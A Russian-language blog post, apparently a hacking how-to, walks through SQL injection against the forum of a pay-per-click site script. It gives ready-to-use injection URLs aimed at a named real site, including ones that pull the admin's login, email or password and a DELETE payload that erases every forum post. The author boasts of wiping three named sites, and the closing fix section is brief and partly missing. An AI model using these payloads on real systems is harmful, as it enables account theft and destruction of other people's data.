Имеем скрипт. Можно за пример взять этот. Посмотрим, что с ним можно сделать…Итак, имеем форум, установлен он на хост, давайте посмотрим, что с ним можно сделать.

На данный момент здесь стоит кривой форум.

Что можно сделать:

1. SELECT:
1.1. http://seosprint.info/forum_posts.php?th=0\’+union+select+1,2,3,4+—+
1.2. http://seosprint.info/forum_topic.php?gr=\’+union+select+1,2,3,4,5,6,7,8,9,10+—+
1.3. http://seosprint.info/forum_edit.php?post=\’+union+select+(SELECT+username+from+tb_users+where+user_status=\’admin\’),2+—+

Выведенную цифру можно спокойно поменять на запрос, поставив его в скобки.

Примеры запросов:
SELECT+username+from+tb_users+where+user_status=\’admin\’ — берёт логин админа, username можно поменять на email или password. Что к чему вы разберётесь.

SELECT+price+from+tb_config+where+item=\’maxautopay\’ — выведем максимальную сумму для автоматической выплаты.

SELECT+payforad+from+tb_site+where+id=1 — если вывело 1 — значит включена выплата раз в сутки.

SELECT+x2+from+tb_site+where+id=1 — если выводит 1 — значит включены автовыплаты.

Другие запросы можно составить самим.

2. UPDATE:
В этом случае можно сделать массовую замену всех сообщений на форуме на свой текст. Пишем что-нить на форуме -> жмём редактировать -> открываем исходный код и ищем:

123 — номер вашего поста (ID), меняем в исходном коде его на:

Вводим текст и подтверждаем.

3. DELETE
Я так убил форум на clickid.ru, да и на goldenclic.ru и seosprint.info

Идём по ссылке: http://seosprint.info/forum_posts.php?delete=\’+or+1=1+—+ (у нас удалились все сообщения на форуме)

Фиксимся:

1. Проставим интвалы forum_posts.php:

Перед скобками проставляем intval, сделать тоже самое во всех файлах форума.

Далее в forum_posts.php:

strip_tags => intval

Ещё ниже:

Аналогично меняем strip_tags на intval

Теперь открываем каждый файл и меняем оставшиеся strip_tags на limpiar.

И наконец самый главный фикс: ставим защиту от NGS, чтоб наверняка.

И теперь самый самый важный фикс — удаляем форум и букс заодно и ищем девушку да работаем на нормальной работе

Автор публикации

не в сети 13 лет

Alex

Комментарии: 0Публикации: 166Регистрация: 19-02-2011